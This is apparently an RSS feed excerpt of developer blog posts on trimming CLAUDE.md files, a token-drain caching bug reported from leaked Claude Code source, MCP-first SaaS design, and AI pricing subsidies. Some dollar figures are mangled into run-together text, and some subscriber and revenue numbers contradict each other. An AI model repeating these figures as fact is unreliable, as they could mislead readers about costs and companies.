about.</p><p>Frontier models reliably follow about 150 to 200 instructions before performance starts decaying. Not crashing &#8212; decaying. Every additional instruction slightly degrades compliance with every other instruction. The degradation is uniform. Your critical &#8220;NEVER delete the production database&#8221; rule gets weaker every time you add &#8220;prefer camelCase for variable names.&#8221;</p><p>Claude Code&#8217;s own system prompt already burns about 50 of those instruction slots. That&#8217;s before your CLAUDE.md even loads.</p><p>So you have roughly 100-150 instruction slots left. Your 800-line CLAUDE.md with coding conventions, style guides, architecture decisions, tool preferences, workflow rules, and team norms is trying to cram 400 instructions into 150 slots.</p><p>The model doesn&#8217;t crash. It just quietly starts ignoring things. Specifically, the things buried deepest in the file. Your most important rules &#8212; the ones you added after painful debugging sessions &#8212; are probably at the bottom. Which means they&#8217;re the first to get deprioritized.</p><p>Claude Is Designed to Ignore You</p><p>This is the part that should make you pause.</p><p>Claude Code&#8217;s system prompt includes this line about CLAUDE.md content:</p><blockquote><p>&#8220;This context may or may not be relevant to your tasks. You should not respond to this context unless it is highly relevant.&#8221;</p></blockquote><p>Claude is literally instructed to deprioritize your instructions if they don&#8217;t seem relevant to the current task. The more task-specific content you stuff into CLAUDE.md, the more likely Claude treats the entire file as noise.</p><p>That database schema guidance? Irrelevant when Claude is working on frontend CSS. Those API naming conventions? Noise when it&#8217;s writing tests. Your elaborate deployment workflow? Invisible during a refactoring session.</p><p>Every irrelevant instruction trains Claude to ignore the relevant ones too.</p><p>The Context Window Tax</p><p>Here&#8217;s the math nobody does. Claude Code&#8217;s system prompt alone consumes roughly 23,000 tokens &#8212; about 11% of the 200K context window, gone before you type a word. Add your CLAUDE.md, your MCP tool schemas, skill descriptions, memory files, and rules. One developer <a href="https://reddit.com/r/ClaudeAI/comments/1s41rym/">measured 69,200 tokens of overhead</a> &#8212; 35% of the context window consumed before a single user message. Others in the thread pushed back on that specific number, but the principle stands: every always-loaded instruction competes with working memory.</p><p>And it&#8217;s not just a cost problem. It&#8217;s an accuracy problem. The fuller the context window gets, the worse Claude performs &#8212; what Anthropic calls context rot. Your elaborate CLAUDE.md isn&#8217;t just burning tokens. It&#8217;s actively degrading the quality of every response.</p><p>The Leverage Problem</p><p>Here&#8217;s why this matters more than you think.</p><p>Bad code is localized. You write a buggy function, it breaks one feature. You fix it, you move on.</p><p>Bad CLAUDE.md instructions compound. A single misguided rule in your CLAUDE.md affects every research phase, every plan, every implementation, every session. One line that says &#8220;always use verbose error messages with full stack traces&#8221; produces thousands of lines of noisy code across your entire codebase, across every agent, across every session.</p><p>Your CLAUDE.md is the highest-leverage file in your repo. Most people treat it like a junk drawer.</p><p>What the Minimalists Actually Do</p><p>I went looking for people who run Claude Code with minimal or no CLAUDE.md. They&#8217;re out there. They&#8217;re quiet about it because &#8220;I don&#8217;t use CLAUDE.md&#8221; doesn&#8217;t get upvotes.</p><p>One developer on Reddit: &#8220;I use Claude Code bare bones professionally. It all sounds like bloat not giving real value.&#8221; Another: &#8220;I load no skills, no agents, no MCP Servers and rock it all day every day, 12 hours a day. Life is good.&#8221;</p><p>A developer <a href="https://reddit.com/r/ClaudeAI/comments/1rmjg5r/">who built a 13-agent orchestration system</a> with 8,157 lines of markdown deleted 93% of it. His conclusion: &#8220;My enhancement layer was making Claude dumber by filling its brain with instructions about how to think, leaving less room for actual thinking.&#8221; After the deletion, Claude performed <em>better</em> on the same tasks.</p><p>Another developer with <a href="https://reddit.com/r/ClaudeAI/comments/1lvbe21/">a 350-line CLAUDE.md and 20+ custom MCP tools</a> put it simply: &#8220;It feels like the more context I add the more it struggles to get the job done. It seems to get &#8216;dumber&#8217;.&#8221;</p><p>And when someone <a href="https://reddit.com/r/ClaudeAI/comments/1lvi94t/">asked the community to break down the meta</a> on all the conflicting CLAUDE.md advice, the most honest reply got it right: &#8220;If &#8216;best practices&#8217; are conflicting, it&#8217;s probably a sign of them mostly being a type of placebo on the part of the folks posting them. The human mind has a weird need to be the special one who cracked the code.&#8221;</p><p>The pattern is consistent: people who remove instructions report better results than people who add them.</p><p>Instructions Raise the Floor, Not the Ceiling</p><p>The benchmark data revealed something nuanced. Instructions don&#8217;t make Claude better on average. They make it more consistent.</p><p>On tasks where Claude already performs well, instructions add nothing. On tasks where Claude struggles, a focused workflow checklist gave Opus a +5.8 point lift and raised its worst-case score by 20+ points.</p><p>A <a href="https://reddit.com/r/ClaudeAI/comments/1pe37e3/">2,455-evaluation benchmark</a> across Sonnet and Opus confirmed a related finding: the best-performing configuration was a short CLAUDE.md with pointers to skills that load on demand &#8212; not a massive monolith, not 27 modular files, but a minimal routing layer that tells Claude where to find context when it&#8217;s actually needed.</p><p>This changes everything about how you should think about CLAUDE.md.</p><p>Don&#8217;t use it to make Claude smarter. Use it to prevent Claude from being stupid in specific, known ways. The difference between those two goals is the difference between a 60-line file and an 800-line file.</p><h3>What Actually Belongs in CLAUDE.md</h3><p>After digging through research, benchmarks, and hundreds of Reddit threads, here&#8217;s what survives the cut:</p><p><strong>The What-Why-How skeleton (under 60 lines):</strong></p><ul><li><p>WHAT: Your stack, project structure, key directories</p></li><li><p>WHY: What this project does and for whom</p></li><li><p>HOW: Build commands, test commands, deploy commands</p></li></ul><p><strong>Negatives over positives:</strong><br>&#8220;NEVER use X&#8221; sticks. &#8220;Always prefer Y&#8221; fades. If you can phrase it as a prohibition, it enforces better. &#8220;DO NOT modify the database schema without migration files&#8221; beats &#8220;Always create migrations when changing the schema.&#8221;</p><p><strong>Trigger-action format:</strong><br>&#8220;WHEN CI fails, DO NOT push until fixed&#8221; enforces consistently. &#8220;Always test before pushing&#8221; doesn&#8217;t. Specificity matters.</p><p><strong>Pointers, not content:</strong><br>Reference external docs instead of embedding them. &#8220;See agent_docs/database.md for schema guidance&#8221; loads on demand. Pasting the full schema into CLAUDE.md loads every single session, whether Claude needs it or not.</p><p><strong>Subdirectory CLAUDE.md files:</strong><br>Claude auto-loads CLAUDE.md from whatever directory it&#8217;s reading files in. Put backend rules in backend/CLAUDE.md. Put frontend rules in frontend/CLAUDE.md. Context-specific rules load only when contextually relevant.</p><h3>What Doesn&#8217;t Belong</h3><p><strong>Style guides.</strong> Claude is an in-context learner. If your code follows consistent patterns, Claude will match them without being told. Use linters and formatters &#8212; they&#8217;re deterministic, fast, and don&#8217;t eat instruction budget.</p><p><strong>LLM-generated instructions.</strong> The research is clear: auto-generated .md files hurt performance. Don&#8217;t use /init. Don&#8217;t ask Claude to write its own CLAUDE.md. The model just repeats what&#8217;s already in the code, wasting tokens to tell itself what it already knows.</p><p><strong>Lessons learned logs.</strong> Once the lesson is codified in the codebase itself &#8212; as a test, a lint rule, a hook &#8212; the .md entry is redundant. Delete it.</p><p><strong>Persona assignments.</strong> &#8220;You are a meticulous senior engineer who always...&#8221; is a costume, not a capability. As one developer <a href="https://reddit.com/r/ClaudeAI/comments/1rmjg5r/">running overnight cron agents</a> put it: &#8220;A syntax check that returns exit code 1 on failure &gt; 2,000 words of &#8216;you are a meticulous senior engineer who always...&#8217;&#8221; The agents with minimal instructions consistently outperformed the ones with elaborate persona prompts.</p><p>The Real Best Practice</p><p>Keep your CLAUDE.md under 100 lines. Ideally under 60. Put the most important rules at the top. Phrase them as negatives. Use trigger-action format. Point to external docs instead of embedding content.</p><p>Then stop optimizing and go build something.</p><p>The developers shipping the most code aren&#8217;t the ones with the fanciest CLAUDE.md architectures. They&#8217;re the ones who figured out the minimum viable instructions and moved on to the actual work.</p><p>Your CLAUDE.md is not your product. Stop treating it like one.</p>]]></content:encoded></item><item><title><![CDATA[The Claude Code Leak Revealed a Token Drain Bug. The Real Problem Is Bigger.]]></title><description><![CDATA[The leaked Claude Code source revealed a caching bug silently burning tokens on every session resume. Here's what it means for AI pricing and your workflow.]]></description><link>https://blog.lakshminp.com/p/claude-code-leaked-source-code-token-drain-ai-subsidy</link><guid isPermaLink="false">https://blog.lakshminp.com/p/claude-code-leaked-source-code-token-drain-ai-subsidy</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Thu, 02 Apr 2026 09:13:16 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Follow-up to: <a href="https://blog.lakshminp.com/p/ai-subsidy-window-developers">Anthropic Is Losing Money on You Every Month. What Are You Shipping?</a></em></p><p>Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.</p><p>I was right about the thesis. I was wrong about the timeline.</p><p>The window isn&#8217;t closing in 18-24 months. It&#8217;s closing now.</p><h2><strong>What Changed in Three Weeks</strong></h2><p>Three things happened in rapid succession that accelerated the timeline:</p><p><strong>1. Claude subscriptions doubled.</strong> Anthropic&#8217;s paid user base went from ~30k to ~60k subscribers between January and March 2026. Record growth. The Claude Code launch, Super Bowl buzz, and Cowork tools drove a wave of new signups.</p><p><strong>2. Rate limits got brutal.</strong> Users on r/ClaudeAI went from &#8220;this is amazing&#8221; to &#8220;I can&#8217;t work&#8221; practically overnight. Pro users ($20/month) report hitting 10% of their daily quota from a single prompt. Max users ($100-200/month) report the same degradation. One Max 20x subscriber &#8212; paying $200/month &#8212; couldn&#8217;t work for nine consecutive days.</p><p><strong>3. The source code leaked.</strong> On March 31, 2026, a 59.8 MB source map file was accidentally shipped in the Claude Code npm package. 512,000 lines of TypeScript, mirrored across GitHub within hours. And buried in that code was proof of something users had been complaining about for weeks.</p><h2><strong>The Token Drain Bug</strong></h2><p>Here&#8217;s what the leak revealed.</p><p>Claude Code has a function called <code>db8</code> that filters what gets saved to session files. For non-Anthropic users, it strips out all attachment-type messages &#8212; including <code>deferred_tools_delta</code> records that track which tools the model already knows about.</p><p>When you resume a session, Claude Code scans your history to figure out what tools it already announced. But because <code>db8</code> nuked those records, it finds nothing. So it re-announces every deferred tool from scratch. Every. Single. Resume.</p><p>This breaks prompt caching in three ways:</p><ul><li><p>System reminders shift positions in the message array</p></li><li><p>The billing hash changes because the first message content differs</p></li><li><p>The cache breakpoint moves because the array length is different</p></li></ul><p>Result: your entire conversation rebuilds as <code>cache_creation</code> tokens instead of hitting <code>cache_read</code>. The longer the conversation, the worse the drain.</p><p>One user patched the two-line fix and posted it. His 5-hour usage dropped from spiralling out of control to 6% &#8212; normal levels. The post got 367 upvotes. A sharp commenter noted the patch also bypasses billing controls on cache TTL, which makes it not just a bug fix, but let&#8217;s set that aside.</p><p>Here&#8217;s the uncomfortable part: this bug was burning tokens silently for weeks. Users were complaining about rate limits. Anthropic&#8217;s status page showed &#8220;no incidents.&#8221; And the actual cause was a caching bug in their own client code.</p><h2><strong>The Math Doesn&#8217;t Work</strong></h2><p>Let&#8217;s do the numbers.</p><p>Anthropic&#8217;s annualized revenue is roughly $14 billion. Claude Code alone accounts for $2.5 billion of that run rate &#8212; up from $500 million just three months earlier. Consumer subscriptions generated about $1.2 billion in 2025, with 1,000%+ year-over-year growth.</p><p>Sounds great, right? Until you look at the other side of the ledger.</p><p>Anthropic burned approximately $5.2 billion in 2025. They&#8217;ve committed over $80 billion in cloud infrastructure costs through 2029. They just raised $30 billion in a Series G at a $380 billion valuation &#8212; the second-largest private tech financing ever, behind only OpenAI.</p><p>They&#8217;re buying compute at a staggering scale: 1 million Google TPUv7 chips (~$52 billion deal), a dedicated 1,200-acre AWS data center campus in Indiana ($11 billion), and a $50 billion deal with Fluidstack for facilities in Texas and New York. Total committed compute: over 2 gigawatts.</p><p>All of this is funded by venture capital and strategic investors (Amazon&#8217;s $8B+, Google&#8217;s $3B+). Not by your $20/month Pro subscription.</p><p>Anthropic projects positive free cash flow by 2027-2028. That&#8217;s the plan. But plans require the revenue to actually materialize, the compute to come online in time, and the unit economics to hold as usage scales.</p><p>Right now, 60,000 subscribers are overwhelming the existing infrastructure so badly that paying customers can&#8217;t work.</p><h2><strong>The Subsidy Is Collapsing Under Its Own Success</strong></h2><p>Here&#8217;s the dynamic I didn&#8217;t fully appreciate three weeks ago.</p><p>The subsidy doesn&#8217;t end with a price increase. It ends with degradation.</p><p>Anthropic can&#8217;t raise prices on Pro from 20to20<em>to</em>50 tomorrow &#8212; that would cause a revolt and hand users to OpenAI and Google. But they can let the service get worse at the current price. Tighter rate limits. More frequent throttling. Peak-hour queuing. Features that work &#8220;sometimes.&#8221;</p><p>This is exactly what&#8217;s happening.</p><p>The math is simple. Double the subscribers on the same compute = everyone gets half the capacity. As one Reddit user put it: &#8220;selling more seats on the same plane and wondering why legroom is shrinking.&#8221;</p><p>And Anthropic isn&#8217;t alone. Google slashed Gemini API free tier quotas by 50-92% overnight in December 2025. One developer went from 300M+ input tokens per week to hitting limits at less than 9M. OpenAI&#8217;s ChatGPT Pro at $200/month is the only major offering that effectively removes caps &#8212; but at ten times the price of a Pro subscription.</p><p>The pattern across the industry: subsidized tiers are getting squeezed. The compute costs are real. And the bill always comes due.</p><h2><strong>Why I&#8217;m Not Hitting Limits (And You Might Not Be Either)</strong></h2><p>Here&#8217;s a mystery. Despite all this chaos, I&#8217;ve barely noticed the rate limits. After reading the threads and the leaked source code, I think I know why.</p><p><strong>I almost never resume sessions.</strong> The biggest token drain fires on session resume. My workflow &#8212; fresh sessions, agent registration per session, structured <a href="http://claude.md/">CLAUDE.md</a> &#8212; accidentally dodges this bug entirely.</p><p><strong>Surgical prompts.</strong> I don&#8217;t say &#8220;explore my codebase.&#8221; I say &#8220;read this file and fix this function.&#8221; My beads-based task tracking means every session has a specific objective. No wandering. No 94k-token &#8220;Explore&#8221; runs.</p><p><strong>Time zone arbitrage.</strong> IST puts my working hours outside US peak times. When r/ClaudeAI is screaming about rate limits at 2 PM Eastern, it&#8217;s midnight for me. I&#8217;m coding at 6 AM IST when San Francisco is asleep.</p><p><strong>Structured context.</strong> Between <a href="http://claude.md/">CLAUDE.md</a>, <a href="http://architecture.md/">ARCHITECTURE.md</a>, and explicit file paths, Claude doesn&#8217;t need to discover my codebase. It already knows the layout. That&#8217;s 90% less indexing work.</p><p>This isn&#8217;t luck. It&#8217;s workflow design. But it reinforces the point from my original post: the subsidy rewards those who use it efficiently. Wasteful usage &#8212; open-ended exploration, resumed conversations, vague prompts &#8212; burns tokens at 10-50x the rate of focused work.</p><h2><strong>What This Means For You</strong></h2><p>If you read my original post and thought you had 18-24 months &#8212; you might, on paper. Anthropic has the cash. They have the compute commitments. They project 70billioninrevenueby2028and70<em>billioninrevenueby</em>2028<em>and</em>17 billion in free cash flow.</p><p>But the experience of using the product is degrading right now. Not in 18 months. Now.</p><p>Here&#8217;s what actually matters:</p><p><strong>1. Ship before the experience degrades further.</strong> The window isn&#8217;t about pricing &#8212; it&#8217;s about capability per dollar. Today, $20/month gets you frontier model access that would have cost $500/month in API calls two years ago. That ratio is moving in the wrong direction as more users pile in.</p><p><strong>2. Optimize your workflow.</strong> Start fresh sessions. Use <a href="http://claude.md/">CLAUDE.md</a> and <a href="http://architecture.md/">ARCHITECTURE.md</a>. Be specific in your prompts. Avoid &#8220;Explore&#8221; and open-ended commands. These aren&#8217;t just productivity tips &#8212; they&#8217;re rate limit survival strategies.</p><p><strong>3. Don&#8217;t build on the assumption of unlimited AI access.</strong> If your product or workflow requires constant frontier model access at current prices, you&#8217;re building on borrowed time. Build systems that work <em>with</em> AI but can degrade gracefully. Ship products that generate revenue independent of your development tools.</p><p><strong>4. The enterprise pivot is coming.</strong> Anthropic&#8217;s enterprise revenue is already 80% of total. They have 300,000+ business customers, with large accounts (&gt;$100K ARR) growing 7x year-over-year. Follow the money: consumer subscriptions are the loss leader. Enterprise is the business. When push comes to shove, enterprise gets the compute.</p><h2><strong>The Real Lesson</strong></h2><p>The leaked source code is a metaphor for the entire AI subsidy era.</p><p>For weeks, users were burning through rate limits at impossible speeds. They blamed themselves (&#8221;skill issue&#8221;), they blamed Anthropic (&#8221;fix your limits&#8221;), they blamed the model (&#8221;Claude got dumber&#8221;). The actual cause was a two-line bug in a caching function that nobody could see because the code was proprietary.</p><p>That&#8217;s the subsidy in miniature. You&#8217;re using a product where you can&#8217;t see the internals, can&#8217;t predict the costs, and can&#8217;t control when the rules change. The value is extraordinary &#8212; right now. But you&#8217;re a guest in someone else&#8217;s infrastructure, running on someone else&#8217;s VC money, subject to someone else&#8217;s capacity planning.</p><p>The smartest move hasn&#8217;t changed since three weeks ago. Ship. Build durable assets &#8212; products, content, audiences, skills &#8212; while the arbitrage is still available.</p><p>But do it faster than you planned. The window isn&#8217;t closing in 18 months.</p><p>The glass is already cracking.</p>]]></content:encoded></item><item><title><![CDATA[Your SaaS Audience Doubled. Half of Them Are AI Agents.]]></title><description><![CDATA[Build MCP-First SaaS: The Dashboard Is Just a View]]></description><link>https://blog.lakshminp.com/p/build-mcp-server-first-saas</link><guid isPermaLink="false">https://blog.lakshminp.com/p/build-mcp-server-first-saas</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 16 Mar 2026 13:17:55 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was building the wrong product for about three weeks before I noticed.</p><p>I&#8217;d started x-intel as a SuperX clone &#8212; essentially a better analytics dashboard for X. Charts, follower graphs, engagement breakdowns, competitor tracking. The kind of thing where you look at a number, decide you feel bad about it, and close the tab.</p><p>And then I was chatting with Claude about the onboarding flow, and I said something like: &#8220;when I say onboarding, I mean the app gets my context and goals, then charts a strategy, periodically reviews it, and course corrects.&#8221;</p><p>Claude&#8217;s response stopped me: <em>&#8220;That&#8217;s a fundamentally different product. Less &#8216;setup wizard&#8217;, more &#8216;AI strategist that lives in your X account.&#8217;</em>&#8220;</p><p>I stared at that for a while. Then I realized I&#8217;d been building the audit view and calling it the product.</p><p>The dashboard isn&#8217;t the product. The dashboard is what humans look at after the AI already figured out what&#8217;s happening.</p><p>Build the MCP server first. The dashboard ships itself.</p><p>The problem is everyone&#8217;s still building it the other way.</p><h2><strong>What Everyone Is Still Building</strong></h2><p>Claude Code exists. The MCP protocol exists. Power users are already interacting with SaaS products through AI agents &#8212; not because you built that integration, but because <em>they</em> built it themselves using whatever API you exposed. They&#8217;re writing <a href="https://lakshminp.substack.com/p/stop-making-claude-code-guess">CLAUDE.md files</a> that say &#8220;use the <a href="https://stacksweller.com/">Stacksweller</a> API to schedule posts&#8221; and just... doing it.</p><p>This is happening whether you designed for it or not.</p><p>The default SaaS in 2026 still ships dashboard-first: database &#8594; API &#8594; React. Users log in, stare at charts, try to draw conclusions. That model made sense when the only consumer of your product was a human looking at a screen.</p><p>That is no longer the only consumer of your product.</p><p>You can either build for this intentionally, or have it happen to you messily and then spend six months retrofitting.</p><h2><strong>The Reframe</strong></h2><p>Here&#8217;s what x-intel actually looks like when you build it right:</p><p><strong>Intake</strong> &#8212; Claude asks who you are, what your niche is, what your X goals are, who your competitors are. You answer in plain English. Claude turns that into a structured profile using the <code>set_profile</code> tool.</p><p><strong>Baseline</strong> &#8212; Claude pulls your current stats, analyzes your last 90 tweets, benchmarks against competitors. All MCP tools calling your data layer. No UI step required.</p><p><strong>Strategy</strong> &#8212; Claude generates a content and growth plan: post frequency, best times, content formats, topics to lean into. Stored back in your database via MCP. The strategy exists before you&#8217;ve opened a browser.</p><p><strong>Periodic review</strong> &#8212; A cron job runs weekly analysis, compares performance against the strategy, surfaces what&#8217;s working and what isn&#8217;t. Claude writes a summary. The dashboard shows that summary.</p><p><strong>Course correction</strong> &#8212; Strategy updates based on data. Again, through tools. Again, before a human looks at anything.</p><p>The dashboard in this architecture isn&#8217;t the product. It&#8217;s an audit log. It shows you what Claude already figured out. Charts are passive &#8212; you still have to decide what to do. This tells you what to do, and then does it.</p><p>That&#8217;s a completely different product. &#8220;X-intel is your AI X strategist. Tell it your goals once. It watches your account, tracks competitors, and tells you exactly what to do next.&#8221;</p><p>That pitch destroys &#8220;SuperX but self-hosted.&#8221;</p><h2><strong>How to Actually Build MCP-First</strong></h2><p>The mechanics are simpler than they sound. Embarrassingly so.</p><p>Start by <a href="https://lakshminp.substack.com/p/mcp-server-tool-descriptions">designing your tools for Claude, not for humans</a>. Think about what Claude needs to do the job &#8212; not what a human wants to click on. Tool names, parameter shapes, return values should make sense to a language model. <code>get_competitor_engagement_trend(handle, days=30)</code> is better than <code>getChartData(config)</code>. One of these tells Claude what it&#8217;s getting. The other makes Claude guess.</p><p>Here&#8217;s the part nobody mentions: if you have a data layer, you have an MCP server 70% built already. Wrap your existing queries as tools. The MCP protocol is just a contract &#8212; your database doesn&#8217;t move.</p><p>You don&#8217;t need to build an &#8220;AI feature.&#8221; You need a <a href="https://lakshminp.substack.com/p/claude-code-prompt-engineering">system prompt that gives Claude the right context</a>, and tools that give it the right data. Claude is the strategist. Your MCP server is the strategist&#8217;s interface to your product. The actual work is thinking clearly about what Claude needs to know &#8212; not engineering.</p><p>Build the dashboard last, or thin. It&#8217;s a view layer. It shows stored strategies, weekly reviews, flagged anomalies. A log of decisions that were already made. Not a decision-support tool.</p><h2><strong>One Build, Two Audiences</strong></h2><p>Here&#8217;s the payoff that makes this worth doing even if you don&#8217;t care about being &#8220;AI-native.&#8221;</p><p>A well-designed MCP server makes your product useful to two completely different types of users with almost no additional work.</p><p>The first type opens the dashboard, reads the weekly strategy review, clicks to approve the suggested changes, and closes the tab. Normal SaaS behavior. They don&#8217;t know or care that Claude is behind it. They just want outcomes.</p><p>The second type connects your MCP server to their own Claude Code setup, writes a <a href="http://claude.md/">CLAUDE.md</a> that describes how they want to use your product, and runs it themselves. These are your power users. They&#8217;ll do things with your product you never imagined, and they&#8217;ll tell everyone.</p><p>You still need the dashboard. Trials convert better with a UI. Not arguing otherwise. But the order matters: MCP layer first, dashboard second. The dashboard snaps on top in a weekend once the tools are solid. The reverse &#8212; retrofitting agent-friendly APIs onto a human-optimized interface &#8212; takes six months and still feels wrong.</p><p>Both audiences are real. Both are valuable. You get both by building the MCP layer correctly from the start, instead of bolting on an &#8220;AI integration&#8221; later when it&#8217;s expensive and awkward.</p><p>The dashboard-first founders will get there eventually. They&#8217;ll build the dashboard, grow slowly, and then spend six months retrofitting an API that was designed for human consumption into something an agent can actually use.</p><p>Or you build the MCP server first, ship a thin dashboard on top, and have both audiences from day one.</p><p>The dashboard ships itself. The strategist is Claude. The product is the tools you give it.</p><p>Stop building audit logs and calling them products.</p>]]></content:encoded></item><item><title><![CDATA[Anthropic Is Losing Money on You Every Month. What Are You Shipping?]]></title><description><![CDATA[Every developer on Claude Max is being subsidized by billions in VC money. Here's why the window is open, how long it stays that way, and what to build before it closes.]]></description><link>https://blog.lakshminp.com/p/ai-subsidy-window-developers</link><guid isPermaLink="false">https://blog.lakshminp.com/p/ai-subsidy-window-developers</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Tue, 10 Mar 2026 15:23:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I do this thing at the end of every month where I look at my Claude usage stats and feel mildly guilty.</p><p>Not guilty enough to stop, obviously. But guilty in the way you feel when you&#8217;ve been eating at a nice restaurant and you suddenly realize your friend with the expense account has been covering all of it. You&#8217;d have ordered differently if you knew that at the start.</p><p>Here&#8217;s what I know: I pay $200/month for Claude Max. Based on what I actually do with it &#8212; multi-hour Claude Code sessions, agents running in parallel, research deep-dives, content pipelines chewing through tokens like a hungry golden retriever &#8212; the API-rate equivalent of my usage is somewhere between $600 and $900. Every month.</p><p>Anthropic is losing money on me. On you. On every developer who&#8217;s turned this into a real part of how they build.</p><p>This isn&#8217;t an accident. This is the plan. And it has an expiration date.</p><h2><strong>The Hemorrhage Is Real</strong></h2><p>I was reading Sebastian Raschka&#8217;s <em><a href="https://www.manning.com/books/build-a-large-language-model-from-scratch">Build a Large Language Model from Scratch</a></em> last week and stumbled into a footnote that sent me down a rabbit hole. He cites Lambda Labs: it would take 355 years to train GPT-3 on a single V100 datacenter GPU. On a consumer RTX 8000: 665 years.</p><p>I know, I know &#8212; &#8220;but they use thousands of GPUs in parallel.&#8221; Yes. And those thousands of GPUs cost tens of millions of dollars for a single training run. That&#8217;s before we talk about the ongoing cost of serving that model to every user who hits the API every day. Training is the capital expenditure. Inference &#8212; every time you actually use Claude &#8212; is the operating cost. I&#8217;m talking about the second thing. Both are obscene.</p><p>Let&#8217;s look at what&#8217;s actually happening, because the numbers are &#8212; and I say this as someone who&#8217;s seen a lot of startup math &#8212; genuinely unhinged.</p><p>OpenAI&#8217;s revenue went from $3.7 billion in 2024 to over $20 billion ARR by end of 2025. Ten times in two years. Sounds like they&#8217;ve figured it out. Except their own internal projections show losses of $14 billion in 2026 &#8212; against $13 billion in revenue. The revenue explodes. The costs explode faster. Microsoft has put in $13 billion. SoftBank committed $41 billion across various tranches. A 2026 funding round valued the company at $730 billion. None of this is profit. All of it is gap-filling.</p><p>Anthropic is nearing $20 billion in annualized revenue as of early 2026 &#8212; up from $1 billion at the start of 2025. Google has put in over $3 billion in equity, plus a cloud infrastructure deal described as &#8220;tens of billions&#8221; in compute. Amazon has committed $8 billion. The Series G closed at a $380 billion valuation. These are not investments in a profitable business. These are bets on essential infrastructure, placed by people who are terrified of the alternative.</p><p>Google&#8217;s own AI division is entirely subsidized by search advertising. They watched OpenAI nearly disrupt their core business and decided that losing money on AI is preferable to losing the company. You can&#8217;t really argue with the logic. You can appreciate that the logic benefits you.</p><p>Here&#8217;s what makes this particularly strange: the more usage grows, the worse the unit economics get. OpenAI&#8217;s gross margins collapsed from roughly 40% to 33% in 2025 because inference costs quadrupled as usage scaled. They&#8217;re getting less efficient per dollar as they get bigger. The burn isn&#8217;t winding down. It&#8217;s accelerating.</p><p>They&#8217;re all playing the same game &#8212; lose money now, win the market, figure out profitability later. You&#8217;ve seen this movie. AWS subsidized startups through aggressive discounting from 2008-2015 and built the most profitable cloud business in history. Uber burned billions subsidizing rides below cost for seven years. Every streaming service ran at a loss from 2015-2022 while racing to lock in subscribers before the music stopped.</p><p>The pattern: 5-8 years of heavy subsidies. Prices normalize. The land grab ends. Survivors optimize for margin.</p><p>AI is somewhere in year 3-4 of this cycle.</p><h2><strong>Why They&#8217;re Subsidizing You Specifically</strong></h2><p>Here&#8217;s the part most people miss.</p><p>It&#8217;s not just the gym membership model &#8212; yes, light users subsidize heavy users across the subscriber base. But for developers specifically, you serve a purpose that goes way beyond the math:</p><p><strong>You evangelize.</strong> Every blog post about Claude Code, every Hacker News comment about your workflow, every Slack recommendation to a colleague &#8212; that&#8217;s marketing no ad budget can replicate. Authentic practitioner enthusiasm is worth more than a campaign, and they get it from you for free.</p><p><strong>You&#8217;re the top of the enterprise funnel.</strong> The conversion path goes: you try Pro, you love it, you build something real, you show your team, your team shows leadership, leadership signs a $500K enterprise contract. That single deal is worth 2,500 Max subscribers. You&#8217;re not where the money is. You&#8217;re where the money comes from.</p><p><strong>You stress-test the product.</strong> Power users find the edges. You file the bug reports casual users never hit. This feedback loop is genuinely expensive to replicate through formal QA &#8212; and you&#8217;re doing it gratis.</p><p><strong>You build the ecosystem.</strong> Tutorials, repos, guides, courses. The content that helps a thousand other developers get value from the product? That&#8217;s unpaid work you&#8217;re doing for their platform.</p><p>You are, in the most literal sense, being paid for this in subsidized compute. It&#8217;s a trade. The question is whether you&#8217;re getting the better end of it.</p><p>(You are. Obviously. That&#8217;s the point.)</p><h2><strong>How Long Does the Window Stay Open?</strong></h2><p>Nobody knows. Anyone giving you a specific timeline is guessing, including me.</p><p>But the runway math doesn&#8217;t matter as much as the signals. Watch these:</p><p><strong>Usage limits tightening.</strong> Already happening. &#8220;Unlimited&#8221; has gotten more creative in its definition. Rate limits appear. Fair use policies materialize. You&#8217;ve noticed.</p><p><strong>Tier restructuring.</strong> The free tier gets worse. The basic tier gets capped. The premium tier develops features that used to be standard. The ladder shifts.</p><p><strong>API price changes.</strong> When enterprise revenue is strong enough to sustain the business, the argument for subsidizing consumers weakens. Check the API pricing page periodically.</p><p><strong>Enterprise-only features.</strong> When the best capabilities start requiring a sales call, the consumer product is no longer the growth driver.</p><p>My working model: 18-24 months of relatively stable economics. After that, genuine uncertainty.</p><p>The open-source wildcard could extend the window or change what &#8220;subsidized&#8221; even means. The gap between frontier models and the best open-weight models has compressed dramatically &#8212; we&#8217;re talking 6-12 months behind the frontier now, versus the 18-24 months people were citing a year ago. Running genuinely capable models locally on a Mac is already real, not theoretical. That&#8217;s a hedge against pricing pressure, but it doesn&#8217;t change the core argument. It just means the floor is higher than it was.</p><p>Either way: cheap access to frontier AI while the models keep getting dramatically better is the thing with the uncertain timeline. Don&#8217;t wait for a clear signal. By the time the signal is clear, the window is already closing.</p><h2><strong>What You Should Actually Be Building</strong></h2><p>This is where I have to resist the urge to give you a twenty-point tactical playbook. (I&#8217;m saving that for a separate post. Watch for it.)</p><p>The mental model is simple: use subsidized tools to build assets you own. Don&#8217;t just consume. Create.</p><p>For developers building SaaS, this means a few things specifically:</p><p><strong>Ship the MVP, not the perfect version.</strong> Claude Code does 70% of the implementation and you do the system design and judgment calls. A SaaS 